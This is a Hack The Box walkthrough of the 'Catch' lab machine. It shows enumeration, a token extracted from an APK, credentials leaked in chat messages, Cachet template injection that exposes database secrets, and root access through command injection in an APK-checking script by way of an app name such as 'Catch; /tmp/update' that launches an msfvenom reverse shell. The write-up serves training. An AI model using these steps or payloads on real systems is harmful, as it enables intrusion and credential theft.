HTB Writeup: Catch
Gotta catch’em all!
Enumeration
nmap scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-24 06:52 IST
Nmap scan report for 10.129.110.180 (10.129.110.180)
Host is up (0.075s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=3b61c94e9b073975; Path=/; HttpOnly
| Set-Cookie: _csrf=98lxbQqSqGB59byymj9-oyafJ2Q6MTY1ODY0MTk2Nzk1NDIyNTI4Mw; Path=/; Expires=Mon, 25 Jul 2022 05:52:47 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 24 Jul 2022 05:52:47 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=20bcaa1920cf4d20; Path=/; HttpOnly
| Set-Cookie: _csrf=zblYajujZzTYwX5RY5nH47XxdnE6MTY1ODY0MTk3MzM3NzcxMDkzOQ; Path=/; Expires=Mon, 25 Jul 2022 05:52:53 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sun, 24 Jul 2022 05:52:53 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3AtF8LQBJYoSDHUKMfts-fukRGGLJlM2fi.wgFn43xRoAqpx%2BVSob%2BcpEZHqZask0GdysfDhGjBKbg; Path=/; HttpOnly
| Date: Sun, 24 Jul 2022 05:52:52 GMT
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3AWa_G-0BsXUMsRSHKmhMIvkddyZm5jHCX.LKLL34DXw%2BOQOz%2Fe9xUUINZB6ATqqCGmaQdgFSCNSCU; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date: Sun, 24 Jul 2022 05:52:53 GMT
| Connection: close
|_ GET,HEAD
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
- Three web applications, running at
TCP/80
,TCP/3000
,TCP/5000
, andTCP/8000
.-
TCP/80
-
TCP/3000
-
TCP/5000
-
TCP/8000
-
Web Enumeration
- On the website hosted at TCP/80, a download button is provided. It downloads an APK.
catchv1.0.apk
- The TCP/5000 is a
Let’s Chat
IM application. - TCP/8000 hosts
Catchet
Web application.
APK Analysis
-
On static analysis of the APK using Mobile-Security-Framework-MobSF, an Authorization Token is found for Lets Chat Web application.
Initial Foothold
-
Using the Let’s Chat Token and API Documentation , the chats can be retrieved.
curl -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' http://10.129.110.180:5000/rooms -so- | jq #[ # { # "id": "61b86b28d984e2451036eb17", # "slug": "status", # "name": "Status", # "description": "Cachet Updates and Maintenance", # "lastActive": "2021-12-14T10:34:20.749Z", # "created": "2021-12-14T10:00:08.384Z", # "owner": "61b86aead984e2451036eb16", # "private": false, # "hasPassword": false, # "participants": [] # }, # { # "id": "61b8708efe190b466d476bfb", # "slug": "android_dev", # "name": "Android Development", # "description": "Android App Updates, Issues & More", # "lastActive": "2021-12-14T10:24:21.145Z", # "created": "2021-12-14T10:23:10.474Z", # "owner": "61b86aead984e2451036eb16", # "private": false, # "hasPassword": false, # "participants": [] # }, # { # "id": "61b86b3fd984e2451036eb18", # "slug": "employees", # "name": "Employees", # "description": "New Joinees, Org updates", # "lastActive": "2021-12-14T10:18:04.710Z", # "created": "2021-12-14T10:00:31.043Z", # "owner": "61b86aead984e2451036eb16", # "private": false, # "hasPassword": false, # "participants": [] # } #]
curl -H 'Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==' http://10.129.110.180:5000/rooms/status/messages -so- | jq [ { "id": "61b8732cfe190b466d476c02", "text": "ah sure!", "posted": "2021-12-14T10:34:20.749Z", "owner": "61b86dbdfe190b466d476bf0", "room": "61b86b28d984e2451036eb17" }, { "id": "61b8731ffe190b466d476c01", "text": "You should actually include this task to your list as well as a part of quarterly audit", "posted": "2021-12-14T10:34:07.449Z", "owner": "61b86aead984e2451036eb16", "room": "61b86b28d984e2451036eb17" }, { "id": "61b872b9fe190b466d476c00", "text": "Also make sure we've our systems, applications and databases up-to-date.", "posted": "2021-12-14T10:32:25.514Z", "owner": "61b86dbdfe190b466d476bf0", "room": "61b86b28d984e2451036eb17" }, { "id": "61b87282fe190b466d476bff", "text": "Excellent! ", "posted": "2021-12-14T10:31:30.403Z", "owner": "61b86aead984e2451036eb16", "room": "61b86b28d984e2451036eb17" }, { "id": "61b87277fe190b466d476bfe", "text": "Why not. We've this in our todo list for next quarter", "posted": "2021-12-14T10:31:19.094Z", "owner": "61b86dbdfe190b466d476bf0", "room": "61b86b28d984e2451036eb17" }, { "id": "61b87241fe190b466d476bfd", "text": "@john is it possible to add SSL to our status domain to make sure everything is secure ? ", "posted": "2021-12-14T10:30:25.108Z", "owner": "61b86aead984e2451036eb16", "room": "61b86b28d984e2451036eb17" }, { "id": "61b8702dfe190b466d476bfa", "text": "Here are the credentials `john : E}V!mywu_69T4C}W`", "posted": "2021-12-14T10:21:33.859Z", "owner": "61b86f15fe190b466d476bf5", "room": "61b86b28d984e2451036eb17" }, { "id": "61b87010fe190b466d476bf9", "text": "Sure one sec.", "posted": "2021-12-14T10:21:04.635Z", "owner": "61b86f15fe190b466d476bf5", "room": "61b86b28d984e2451036eb17" }, { "id": "61b86fb1fe190b466d476bf8", "text": "Can you create an account for me ? ", "posted": "2021-12-14T10:19:29.677Z", "owner": "61b86dbdfe190b466d476bf0", "room": "61b86b28d984e2451036eb17" }, { "id": "61b86f4dfe190b466d476bf6", "text": "Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ", "posted": "2021-12-14T10:17:49.761Z", "owner": "61b86f15fe190b466d476bf5", "room": "61b86b28d984e2451036eb17" } ]
-
There are credentials in the messages found in the room
status
, which says those are used forstatus.catch.htb
. TCP/8000 hosts a Cachet web application which is used for status monitoring and updates.john:E}V!mywu_69T4C}W
User Access
Cachet Monitoring Application
-
The login page for the web application is found at
http://<IP>:8000/dashboard
→http://<IP>:8000/auth/login
-
The credentials from the lets chat works.
-
The Settings tab shows the version
2.4.0-dev
. This version of Cachet is vulnerable to template injection. The secrets from the .env file can be leaked using valid configuration variable in place of already configured variable. For instance, changingMail From Address
option underSettings -> Mail
.-
${APP_KEY}
→ Gives base64 encoded Application Secret variable. -
${DB_USERNAME}
→ Gives database username -
${DB_PASSWORD}
→ Gives database password
-
-
The DB_USERNAME and DB_PASSWORD reveals credential:
will:s2#4Fg0_%3!
-
The credentials worked with SSH.
Privilege Escalation
Enumeration
-
Basic enumeration using
linpeas
reveals a foldermdm
under/opt
directory. -
On process monitoring using
PSPY64
, theroot
is running/opt/mdm/verify.sh
on a regular interval. -
The contents of
verify.sh
#!/bin/bash ################### # Signature Check # ################### sig_check() { jarsigner -verify "$1/$2" 2>/dev/null >/dev/null if [[ $? -eq 0 ]]; then echo '[+] Signature Check Passed' else echo '[!] Signature Check Failed. Invalid Certificate.' cleanup exit fi } ####################### # Compatibility Check # ####################### comp_check() { apktool d -s "$1/$2" -o $3 2>/dev/null >/dev/null COMPILE_SDK_VER=$(grep -oPm1 "(?<=compileSdkVersion=\")[^\"]+" "$PROCESS_BIN/AndroidManifest.xml") if [ -z "$COMPILE_SDK_VER" ]; then echo '[!] Failed to find target SDK version.' cleanup exit else if [ $COMPILE_SDK_VER -lt 18 ]; then echo "[!] APK Doesn't meet the requirements" cleanup exit fi fi } #################### # Basic App Checks # #################### app_check() { APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml") echo $APP_NAME if [[ $APP_NAME == *"Catch"* ]]; then echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}' mv "$3/$APK_NAME" "$2/$APP_NAME/$4" else echo "[!] App doesn't belong to Catch Global" cleanup exit fi } ########### # Cleanup # ########### cleanup() { rm -rf $PROCESS_BIN;rm -rf "$DROPBOX/*" "$IN_FOLDER/*";rm -rf $(ls -A /opt/mdm | grep -v apk_bin | grep -v verify.sh) } ################### # MDM CheckerV1.0 # ################### DROPBOX=/opt/mdm/apk_bin IN_FOLDER=/root/mdm/apk_bin OUT_FOLDER=/root/mdm/certified_apps PROCESS_BIN=/root/mdm/process_bin for IN_APK_NAME in $DROPBOX/*.apk;do OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk" APK_NAME="$(openssl rand -hex 12).apk" if [[ -L "$IN_APK_NAME" ]]; then exit else mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME" fi sig_check $IN_FOLDER $APK_NAME comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME done cleanup
-
After looking at the bash script, it is found that the line
echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
is vulnerable to command injection.-
The variable
$APP_NAME
is being set by reading the<string name="app_name">
key fromres/values/strings.xml
file from the APK placed in the folder/opt/mdm/apk_bin
-
The variable is then passed to
xargs
which passes it tosh -c 'mkdir {}
to create directory with same name as the application. -
The flaw is, that there is not enough sanitization of the app name being done. It only checks if the application name starts with
Catch*
And hence, if an attacker can add
; <command>
to the application name, a code execution can be achieved. To do this there are 2 possible ways:- Use an existing app and decompile it, make changes to
res/values/strings.xml
and recompile and resign the APK file. - Create a new blank app with setting the
app_name
key as payload.
- Use an existing app and decompile it, make changes to
-
-
Decompiling and recompiling an existing app is less resource intensive and won’t take much time.
-
For de-compilation and recompiling,
apktool
suite can be used and to re-sign,sign
orapk-resigner
can be used.
Exploitation
-
The previously downloaded APK is decompiled using
apktool
apktool d ./catchv1.0.apk
-
The
app_name
key’s value is set toCatch; /tmp/update
, where/tmp/update
is a reverse shell executable generated usingmsfvenom
-
Recompile the app using
apktool
.apktool b ./catchv1.0.apk -o ./catchv1.1.apk
-
The application is then resigned using
sign
sign `pwd`/catchv1.1.apk
-
The malicious APK is now stored as
catchv1.1.s.apk
in the same directory. The APK is then to be placed in/opt/mdm/apk_bin/
after starting a listener on local machine.
The remote host is now completely compromised.